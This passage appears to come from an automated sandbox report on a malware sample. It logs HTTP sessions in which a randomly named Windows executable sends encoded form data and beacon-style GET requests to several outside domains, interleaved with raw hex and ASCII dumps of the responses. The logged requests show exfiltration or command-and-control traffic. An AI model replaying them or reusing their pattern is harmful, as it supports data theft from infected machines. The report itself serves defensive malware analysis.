xl6Oy4F/EQF8u4AxJq3C+VL8QT9Lxdk7T2qnMBshYmVy+oC3TBTVTFrYVGkEF0xLBQEL7D+CRhRIqHvN9SxPb7ofZway7hKzUW9YFCubIG+unvRwkgEJ9geF8pM5Xcz/z04RPxMuS12ujvNhrI7AoQeEd7nLBQkDZWSkvt6GOwdIqc7XkN6Mf2UhShQDVMN3Q0pskM2iWqCoL [TRUNCATED]
                                                        May 27, 2024 12:29:39.022186995 CEST1236INHTTP/1.1 404 Not Found
                                                        Connection: close
                                                        expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                        cache-control: no-cache, must-revalidate, max-age=0
                                                        content-type: text/html; charset=UTF-8
                                                        link: <https://omilux.vn/wp-json/>; rel="https://api.w.org/"
                                                        transfer-encoding: chunked
                                                        content-encoding: br
                                                        vary: Accept-Encoding
                                                        date: Mon, 27 May 2024 10:29:37 GMT
                                                        server: LiteSpeed
                                                        Data Raw: 63 30 39 0d 0a 60 28 02 80 fc a9 99 7e 9d 6d 2a 08 9a 48 a4 03 90 20 75 53 a6 8f 1c c7 b5 da f1 40 c0 23 89 5d 12 40 00 50 a2 22 b3 fe d3 ff a2 4c f5 af a3 4a 4a 57 95 ff 6f ae 7c fe ea 2a 2b 5c 95 2a 5b f3 ff 4c 0e 93 23 84 81 6c 2e bb 07 4c d9 2d 11 58 36 02 80 5d 95 ac 93 7d 8c 59 37 e7 bf 01 82 93 ec 4a 53 8f 12 60 7a b2 ce f5 67 bf 55 15 fa e8 3d b4 43 77 4f d0 e3 26 74 6d 6b 56 53 4a 7c 52 54 be 1e 05 3b d4 1a 2e 95 ae a9 57 01 90 36 f4 de e3 27 68 66 33 8e e0 ba 6f 37 d4 36 21 aa 03 b0 f8 9e c4 2f 27 d1 47 ef c5 77 4f 1e 4f 28 7d c2 ac 1e da 02 e7 a2 f1 8b af 4b b2 a6 68 b8 f3 10 4a 1c b6 79 af d8 38 eb 4c a5 5a 28 48 7e 17 75 67 eb c4 b8 3a 1d 2a 9d 66 19 a6 6b 4a d7 47 2e 1e 8e 17 65 3a d5 f6 43 72 d2 e9 d0 b5 ce 8a c4 36 d6 d6 e4 9b 37 1e fb ea 02 ec 9f cc 05 70 b0 26 74 6d 7c 6d 42 d7 26 7e e1 ca e7 bc 03 54 22 43 25 b8 47 a4 87 a3 d0 57 76 38 a6 64 7e ef e7 f1 18 47 d2 88 be 03 1d 92 7f 5a 79 af 6d 77 02 37 8f 09 3f f9 6d 1b 73 67 8e 26 f8 f9 9c 25 dd e6 da 74 44 40 30 41 b5 e7 b5 36 47 [TRUNCATED]
                                                        Data Ascii: c09`(~m*H uS@#]@P"LJJWo|*+\*[L#l.L-X6]}Y7JS`zgU=CwO&tmkVSJ|RT;.W6'hf3o76!/'GwOO(}KhJy8LZ(H~ug:*fkJG.e:Cr67p&tm|mB&~T"C%GWv8d~GZymw7?msg&%tD@0A6G&FS2W^~'3fg<26NUhV?/P~uE5!X_p:xgu}~$z0)M/yHXA!>|oPPF!$.O*G:$({g4a5[0d9CbPVuNVQ/8!?g/{~`jL3'*nYXN,1$V)hLpZ3a=8:^{+:[.+mki,5uRR`&DerK7V(mmZt~;|F}x?FoCA%F`C+~Qn\Z^1#qsA&T2p;j._;>/{
                                                        May 27, 2024 12:29:39.022209883 CEST224INData Raw: 53 ba 1e f1 48 f0 2f 3d b8 0b 55 da f6 01 17 58 33 c0 b4 5b 82 d6 07 1e ef 82 68 b7 f1 6e cc 2b 30 89 76 9c 26 c2 5e 49 a2 da ec e6 26 db 9c 36 97 da d3 5e 4d 48 0c a2 99 67 82 e6 39 e7 98 93 d8 84 f2 55 55 46 07 9f d4 c6 d4 2d 70 ab 7c 22 4c 87
                                                        Data Ascii: SH/=UX3[hn+0v&^I&6^MHg9UUF-p|"L]TG|}_]QP:5P\.)66IUEq?X/l3A]{HxHOqaT%lM>lCV]
                                                        May 27, 2024 12:29:39.022226095 CEST1236INData Raw: a9 a6 19 e1 4f f5 29 d1 9f ea f7 ae cb fd 29 c1 f4 4e 24 5d 05 84 d1 82 07 56 08 cf 70 50 dc 27 fb 90 9e 2d 55 d6 13 0e e9 bd 37 04 d6 6f 9d 3a 68 81 7b 48 3a a5 93 7b ff f4 04 ae 5c 27 79 b2 c2 e3 b8 bf 49 1f 4d 34 99 15 95 6a a7 f1 3e 18 5a 8f
                                                        Data Ascii: O))N$]VpP'-U7o:h{H:{\'yIM4j>ZOIQz3* zi!Y=-U&k'[f&#K'D>MZpAFT$1I[BTI0h8rnaeyF&#E&C(DBIl_c:O
                                                        May 27, 2024 12:29:39.022243023 CEST761INData Raw: 71 e1 9a 06 63 0e 26 07 39 b6 3d d0 da 71 a9 dc 5f 61 97 e5 bc 64 d1 2a 0d dc 41 7e b1 28 5b ac 24 d4 64 ca 98 64 db 25 99 b2 f5 6e 01 8b 98 cf 57 8a ed 9d 6d 81 0a d7 fb c6 8a 3f b8 58 42 0e 4b 32 5d 6e f2 ac 3a a2 15 7b 93 4c f9 31 93 15 58 f7
                                                        Data Ascii: qc&9=q_ad*A~([$dd%nWm?XBK2]n:{L1Xh*YV%S%!+GU'zW22]ozm^)<N*n'S|bno7\,n%E&6:'e9[l32e%1.]br1 :yWoL&r.JPWc7}d
                                                        May 27, 2024 12:29:39.026834011 CEST1236INData Raw: 65 34 36 0d 0a a8 c6 01 40 2e 5b 5a 6f e6 78 fc bb 70 65 1d 67 a4 46 60 13 62 b3 f1 ec 71 5d a9 94 0c 02 34 11 6a ad 24 1f 19 8a 9f 5f 2b f5 29 c9 ca 1a 81 ba 92 51 e8 54 f8 07 5f cc de 4c 68 b7 10 00 98 0b f0 7b ef ff a1 dd bd 66 ef 4a 01 26 57
                                                        Data Ascii: e46@.[ZoxpegF`bq]4j$_+)QT_Lh{fJ&W&WY!dC] ""bk,aLS4TRQl7+(;#Fsh%VX}*y#ts51w(Pj**xGGotQp)r#XC6j%
                                                        May 27, 2024 12:29:39.026859045 CEST224INData Raw: d2 33 e0 a1 e7 c6 af 4a 94 f9 78 5e 6f 76 14 bb db 2a 0f 23 7d 12 14 ec a6 69 7f 0b 1d 6f 7b d8 cc 00 26 6a c5 3b 97 b3 08 7b 2f fb 52 83 9c fb 10 59 d6 b4 f6 5d c0 c6 d0 b1 ed 8c f4 6a 97 52 0b 79 c5 bc df 65 88 a3 29 c3 a0 4f d9 1a 6f 31 0f 33
                                                        Data Ascii: 3Jx^ov*#}io{&j;{/RY]jRye)Oo136AvtXcrU|mW{)R|_"6!.a;&5czP";WE9-vgbvM0J+~6`(/w:ZY~^
                                                        May 27, 2024 12:29:39.026921034 CEST1236INData Raw: ab 3d 4f c0 9f ca 75 ab 04 bc 2a c6 28 bd f5 30 d2 0a 4f 3b 83 a2 29 87 49 63 8b d0 d2 79 d6 78 72 4e b5 66 88 14 5f 17 97 75 b1 57 68 29 08 fa bd 0a f7 69 68 b3 54 33 ed 07 00 8f 22 df 16 97 7c fb 40 e1 e6 db ff 06 e9 9c 51 3c d2 b1 19 38 02 d7
                                                        Data Ascii: =Ou*(0O;)IcyxrNf_uWh)ihT3"|@Q<8NXZpo70v~5N4g59j}PBc(t6cw4f&x<(yx23z:Fo/]o<nq[`YddC~+.GsD}Rg
                                                        May 27, 2024 12:29:39.026943922 CEST965INData Raw: 48 1f 1f 0d 49 31 50 0b a9 56 fb 51 1b 24 32 35 60 b2 10 0b 9f 57 a7 40 f7 86 d9 3c e3 06 c2 ee 5e 9d b4 3a 73 76 2f 0a 42 3a bb 81 2f b4 31 5a 07 08 95 9e 83 08 ca 27 03 36 c3 de a6 4e 1b d3 53 83 74 27 31 cc 26 0f aa 8c 3b 38 98 d6 42 11 4c 13
                                                        Data Ascii: HI1PVQ$25`W@<^:sv/B:/1Z'6NSt'1&;8BL}=h#r"G@AaUdAG%KCQiZ|y(kJW7NB7E,9,9-qWIUv}p<+gW|C%!)g1F@Tf=o1
                                                        May 27, 2024 12:29:39.040072918 CEST1236INData Raw: 35 35 39 0d 0a f8 ff 00 40 fe 74 fa 55 a3 a6 7a a3 ed 76 06 21 64 30 96 83 36 5d a8 42 6e 77 64 10 46 f7 85 a4 11 c2 78 53 f5 8b 6a cb ab 72 ec be 4b 76 ae e9 f9 6b bf d6 02 ad da 74 5a 7c fb f6 4c db 3f 92 98 ee 9e a8 62 16 19 b2 35 b1 46 6a a2
                                                        Data Ascii: 559@tUzv!d06]BnwdFxSjrKvktZ|L?b5Fj9F`ch~iqusOuN%P$}xB=[W>+xzAnCkG\oG\'a~'=y_-y\o!z;B_{gi/vV
                                                        May 27, 2024 12:29:39.040096045 CEST1236INData Raw: 8f a6 23 68 30 a7 b8 38 98 91 23 88 47 9d 41 c4 3a 81 92 04 69 83 7c c7 f9 ae 26 32 63 3f 00 ea 12 1d 5a 2b 75 70 b8 0b dd 6c 29 85 14 f2 6a 4b 29 c4 91 25 08 42 34 1e e8 74 77 d6 c6 d5 37 8c 02 23 a4 07 cd 88 5e 58 ec 33 2d a2 93 4f cc 29 6d 77
                                                        Data Ascii: #h08#GA:i|&2c?Z+upl)jK)%B4tw7#^X3-O)mwB3S>3G7!ddUrH4=\OsaL\qftE8155@uUNgdm6\ K>hA8UZ;+W^Qa-&%{'BR!'{!9{VFa4W2_
                                                        May 27, 2024 12:29:39.040112019 CEST980INData Raw: fe b8 fd 82 20 b4 1f 94 50 77 9b af 21 ef 36 1f 93 5d fd 61 31 8a 07 83 7d 35 4c 56 bf e5 8e 35 05 34 04 d0 73 0d 63 20 db be b7 16 84 b9 c0 df 40 28 bb cd 9b 88 a5 a7 bd d1 fd f1 4f 03 47 dd c7 b8 28 5c fb 1e 42 d1 fe 00 d2 14 42 f5 29 07 0a 30
                                                        Data Ascii: Pw!6]a1}5LV54sc @(OG(\BB)0KaavGZsS!B$2)W>ENe]nJ{2FQ6D+%6cL[1++r,}'"p62g)Tq`@OY-wL[4BYR;si0UEQ[r)CK$:tjJ


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        36192.168.2.759305103.28.36.189806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:40.508249998 CEST401OUTGET /hrz3/?MNodJD8p=fkxp32a3AF5wBSwRh5VZfmiY3/puBKP3MVSkTpkPNWOuHUgNKCFzkVmprYkTYGjHw4naGQMkcT0jQi1gpu8oD2UytFCpxdjGtxbhW8UXfJ17EhPZrFJXKsyUbfGU5GAcfhuZPrs7GjjK&f4=xxLl5tHp-byppxH HTTP/1.1
                                                        Host: www.omilux.vn
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:29:41.557188988 CEST490INHTTP/1.1 301 Moved Permanently
                                                        Connection: close
                                                        expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                        cache-control: no-cache, must-revalidate, max-age=0
                                                        content-type: text/html; charset=UTF-8
                                                        x-redirect-by: WordPress
                                                        location: http://omilux.vn/hrz3/?MNodJD8p=fkxp32a3AF5wBSwRh5VZfmiY3/puBKP3MVSkTpkPNWOuHUgNKCFzkVmprYkTYGjHw4naGQMkcT0jQi1gpu8oD2UytFCpxdjGtxbhW8UXfJ17EhPZrFJXKsyUbfGU5GAcfhuZPrs7GjjK&f4=xxLl5tHp-byppxH
                                                        content-length: 0
                                                        date: Mon, 27 May 2024 10:29:40 GMT
                                                        server: LiteSpeed


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        37192.168.2.7593063.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:46.692385912 CEST664OUTPOST /b5mo/ HTTP/1.1
                                                        Host: www.duobao698.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.duobao698.com
                                                        Referer: http://www.duobao698.com/b5mo/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 56 48 66 58 7a 55 38 72 44 5a 34 43 61 63 67 4c 58 4c 4f 6c 52 31 79 76 6d 78 47 39 75 68 37 72 78 76 67 47 74 47 5a 34 35 47 62 70 70 7a 58 67 75 41 37 79 4b 6d 59 51 5a 59 57 71 4d 32 47 65 6a 65 65 45 4d 7a 6a 77 47 4a 55 41 30 78 66 70 2b 6d 4f 56 69 63 62 69 37 2b 71 64 48 63 50 6b 36 61 52 2f 6c 51 46 52 2b 64 53 62 7a 35 6b 58 4c 59 55 7a 72 33 45 57 56 73 4a 61 2b 38 6c 7a 59 57 44 30 41 52 78 62 34 6f 65 37 42 32 33 69 46 45 75 45 4f 56 70 4a 70 78 49 78 51 56 54 4c 74 76 35 2f 6e 45 62 79 63 48 31 59 4a 54 59 66 36 31 6a 47 57 2f 56 72 36 68 32 67 50 6a 44 74 30 58 66 32 77 61 32 64 6f 56 65 49 48 42 34 61 70 67 3d 3d
                                                        Data Ascii: MNodJD8p=VHfXzU8rDZ4CacgLXLOlR1yvmxG9uh7rxvgGtGZ45GbppzXguA7yKmYQZYWqM2GejeeEMzjwGJUA0xfp+mOVicbi7+qdHcPk6aR/lQFR+dSbz5kXLYUzr3EWVsJa+8lzYWD0ARxb4oe7B23iFEuEOVpJpxIxQVTLtv5/nEbycH1YJTYf61jGW/Vr6h2gPjDt0Xf2wa2doVeIHB4apg==


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        38192.168.2.7593073.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:49.227694988 CEST684OUTPOST /b5mo/ HTTP/1.1
                                                        Host: www.duobao698.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.duobao698.com
                                                        Referer: http://www.duobao698.com/b5mo/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 56 48 66 58 7a 55 38 72 44 5a 34 43 61 34 6b 4c 55 74 47 6c 58 56 79 75 36 68 47 39 67 78 37 6e 78 76 73 47 74 48 74 6f 35 79 33 70 6f 52 2f 67 74 45 76 79 66 6d 59 51 52 34 57 6c 52 6d 48 63 6a 65 53 6d 4d 32 62 77 47 4a 41 41 30 30 6a 70 2b 58 4f 57 6a 4d 62 67 75 4f 71 66 4e 38 50 6b 36 61 52 2f 6c 51 68 72 2b 64 71 62 77 4b 38 58 5a 70 55 77 6c 58 45 56 63 4d 4a 61 76 73 6c 33 59 57 44 47 41 52 42 69 34 72 32 37 42 33 48 69 46 32 47 48 45 56 70 50 6e 52 4a 7a 44 57 76 44 6d 76 73 41 71 31 58 58 45 31 5a 77 46 46 46 39 67 58 76 71 49 75 74 51 2b 6a 53 57 59 46 65 59 32 57 62 75 39 34 43 38 33 69 37 69 4b 54 5a 65 2f 58 41 6f 76 37 7a 73 6d 70 34 79 39 73 47 56 51 4a 33 47 41 31 6b 3d
                                                        Data Ascii: MNodJD8p=VHfXzU8rDZ4Ca4kLUtGlXVyu6hG9gx7nxvsGtHto5y3poR/gtEvyfmYQR4WlRmHcjeSmM2bwGJAA00jp+XOWjMbguOqfN8Pk6aR/lQhr+dqbwK8XZpUwlXEVcMJavsl3YWDGARBi4r27B3HiF2GHEVpPnRJzDWvDmvsAq1XXE1ZwFFF9gXvqIutQ+jSWYFeY2Wbu94C83i7iKTZe/XAov7zsmp4y9sGVQJ3GA1k=


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        39192.168.2.7593083.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:51.759121895 CEST1697OUTPOST /b5mo/ HTTP/1.1
                                                        Host: www.duobao698.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.duobao698.com
                                                        Referer: http://www.duobao698.com/b5mo/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 56 48 66 58 7a 55 38 72 44 5a 34 43 61 34 6b 4c 55 74 47 6c 58 56 79 75 36 68 47 39 67 78 37 6e 78 76 73 47 74 48 74 6f 35 79 2f 70 6f 69 48 67 75 6d 48 79 5a 57 59 51 66 59 58 69 52 6d 48 64 6a 61 2b 69 4d 32 6e 4f 47 4b 34 41 6d 43 58 70 34 6a 36 57 70 4d 62 67 78 65 71 63 48 63 4f 2b 36 61 41 33 6c 51 52 72 2b 64 71 62 77 50 77 58 61 34 55 77 6e 58 45 57 56 73 4a 65 2b 38 6c 50 59 51 72 38 41 51 31 79 34 62 57 37 41 58 58 69 57 6c 75 48 5a 6c 70 4e 67 52 4a 52 44 57 69 64 6d 76 78 7a 71 31 6a 78 45 32 4a 77 41 7a 6c 71 35 57 4c 54 61 4f 31 36 35 53 47 73 58 46 47 43 33 6b 6a 33 38 34 53 35 71 79 48 37 50 46 78 69 36 42 64 45 2b 61 6a 71 6e 4e 5a 6b 32 37 58 74 48 4c 72 2f 57 77 59 33 6a 4d 64 4c 61 77 66 6f 31 39 38 32 44 4c 76 73 33 49 45 34 58 66 4d 44 6f 55 32 6f 58 63 64 4e 30 2b 2f 47 73 4a 6e 34 65 71 44 6d 53 30 52 71 53 55 56 68 47 50 39 6c 61 53 52 73 56 42 51 68 54 58 37 77 2b 5a 74 6d 4e 74 2f 64 78 67 34 63 44 59 57 7a 4f 52 45 6d 51 51 77 32 7a 75 54 52 36 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=VHfXzU8rDZ4Ca4kLUtGlXVyu6hG9gx7nxvsGtHto5y/poiHgumHyZWYQfYXiRmHdja+iM2nOGK4AmCXp4j6WpMbgxeqcHcO+6aA3lQRr+dqbwPwXa4UwnXEWVsJe+8lPYQr8AQ1y4bW7AXXiWluHZlpNgRJRDWidmvxzq1jxE2JwAzlq5WLTaO165SGsXFGC3kj384S5qyH7PFxi6BdE+ajqnNZk27XtHLr/WwY3jMdLawfo1982DLvs3IE4XfMDoU2oXcdN0+/GsJn4eqDmS0RqSUVhGP9laSRsVBQhTX7w+ZtmNt/dxg4cDYWzOREmQQw2zuTR6g8lsbN8SSgu9qNJNn336v9C94VhTvdCfqVtL4EkVM9ZjkeUW9evNheOCZTP+6/l7EmePK1m6AGTG8A7AN9W63xiHUkTID3xJVbky2pTAklHWj8+Lx+AdjjWNZyvtMUcr+yqmnZSpa4/hf9aMaVwEMW2UFiB46584BkrZ/AfvUEQkYaBQZLkIXNmwxFNJpm1F0SeTbaDqhuehCrRnBiZ7136PMf2o8AFM5i0DoTbaidkVFx32oVeQfUo4QKQ1t+y2V9fc93Q3ijtBSpuZpANkMnRnJkLoFtuI3dt5zpKXGgPMcWw/eR44Vb58xCASDsec7qNlwu8oCTgNJ3+LKUCOzRibAgPD0Dt16kb1SevluSr0Rf/Ip34DxFE1h1S3t8sjkMJn1MsG4ZL50EX8UdmKDMb6opuRnM5OlXTMmKW/50sSgDq7XyzDDeTaTnHSOCC+PLsO+3t86qCJGNSZHCP2WPRxlUbTjZNWNo2zNw18nvS8/1nNjFkVxEc43HaMoY+yCVneGCCJFCp4jqq2Lris/Z6O0zbifEpp6xE98XCOvntrWQGFeOMP0IR0zrLJd/oEwt12Fd27jW/djK8GfY+m5AwdGIoh2QVjZCwbme1U4zGO4JQG+AFFpY/U2WKR1oMbf5JWNHczS3gsN+p8NaQnZCjsmpmZ4xmoEh [TRUNCATED]


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        40192.168.2.7593093.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:29:54.289063931 CEST405OUTGET /b5mo/?f4=xxLl5tHp-byppxH&MNodJD8p=YF33wiUQP61+bcRucpXfP2bszl+S1jXxxa03lm8i9Cm6yh/X5E/MKQF3SqHNMSDah8acWmTXWKI80zfQn0GR7e3o5MjoaLzb9IV74TF38aXM2/s/Vr42kQEqdr4drO8NCxauOi017rm8 HTTP/1.1
                                                        Host: www.duobao698.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:29:55.685086012 CEST423INHTTP/1.1 200 OK
                                                        Server: openresty
                                                        Date: Mon, 27 May 2024 10:29:55 GMT
                                                        Content-Type: text/html
                                                        Content-Length: 283
                                                        Connection: close
                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 66 34 3d 78 78 4c 6c 35 74 48 70 2d 62 79 70 70 78 48 26 4d 4e 6f 64 4a 44 38 70 3d 59 46 33 33 77 69 55 51 50 36 31 2b 62 63 52 75 63 70 58 66 50 32 62 73 7a 6c 2b 53 31 6a 58 78 78 61 30 33 6c 6d 38 69 39 43 6d 36 79 68 2f 58 35 45 2f 4d 4b 51 46 33 53 71 48 4e 4d 53 44 61 68 38 61 63 57 6d 54 58 57 4b 49 38 30 7a 66 51 6e 30 47 52 37 65 33 6f 35 4d 6a 6f 61 4c 7a 62 39 49 56 37 34 54 46 33 38 61 58 4d 32 2f 73 2f 56 72 34 32 6b 51 45 71 64 72 34 64 72 4f 38 4e 43 78 61 75 4f 69 30 31 37 72 6d 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?f4=xxLl5tHp-byppxH&MNodJD8p=YF33wiUQP61+bcRucpXfP2bszl+S1jXxxa03lm8i9Cm6yh/X5E/MKQF3SqHNMSDah8acWmTXWKI80zfQn0GR7e3o5MjoaLzb9IV74TF38aXM2/s/Vr42kQEqdr4drO8NCxauOi017rm8"}</script></head></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        41192.168.2.75931034.149.87.45806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:00.855427980 CEST661OUTPOST /kpja/ HTTP/1.1
                                                        Host: www.ycwtch.co.uk
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.ycwtch.co.uk
                                                        Referer: http://www.ycwtch.co.uk/kpja/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 53 63 38 45 67 47 5a 52 30 4b 75 48 57 75 6d 4d 58 5a 6a 6c 62 73 63 56 69 58 72 4d 35 4d 62 63 61 4d 4d 55 67 68 32 58 69 5a 4b 70 41 30 7a 30 6d 54 34 70 45 31 56 58 79 77 49 42 41 42 55 2f 4a 35 34 70 6d 69 35 4d 64 5a 70 70 36 33 4a 6d 67 4b 47 72 58 46 64 66 7a 45 4d 6b 6d 69 4e 37 50 68 31 4d 6a 68 74 56 47 78 43 30 70 51 57 76 35 67 39 2b 7a 2b 41 59 43 6f 42 2b 79 41 30 6e 61 79 49 33 4e 48 4e 53 6b 59 6f 30 4a 43 48 74 5a 6e 43 61 6f 44 4e 31 6a 2f 44 4e 62 77 45 79 2b 43 64 5a 59 31 58 65 44 6e 75 53 4c 34 2f 48 32 41 42 34 47 48 66 57 33 73 66 48 72 34 36 51 49 50 6d 51 56 37 65 6d 49 2f 6e 42 42 47 57 2f 52 77 3d 3d
                                                        Data Ascii: MNodJD8p=Sc8EgGZR0KuHWumMXZjlbscViXrM5MbcaMMUgh2XiZKpA0z0mT4pE1VXywIBABU/J54pmi5MdZpp63JmgKGrXFdfzEMkmiN7Ph1MjhtVGxC0pQWv5g9+z+AYCoB+yA0nayI3NHNSkYo0JCHtZnCaoDN1j/DNbwEy+CdZY1XeDnuSL4/H2AB4GHfW3sfHr46QIPmQV7emI/nBBGW/Rw==
                                                        May 27, 2024 12:30:01.315149069 CEST1077INHTTP/1.1 403 Forbidden
                                                        Content-Length: 548
                                                        Content-Type: text/html
                                                        Server: Pepyaka
                                                        X-Wix-Request-Id: 1716805801.268119757392731095
                                                        X-Content-Type-Options: nosniff
                                                        Accept-Ranges: bytes
                                                        Date: Mon, 27 May 2024 10:30:01 GMT
                                                        X-Served-By: cache-iad-kcgs7200072-IAD
                                                        X-Cache: MISS
                                                        X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLsNSikLMYkJJqXV1PzQmZDtGkFvVdT2Nq6f3Hedj7ewB
                                                        Via: 1.1 google
                                                        glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
                                                        Connection: close
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                        Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        42192.168.2.75931134.149.87.45806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:03.401249886 CEST681OUTPOST /kpja/ HTTP/1.1
                                                        Host: www.ycwtch.co.uk
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
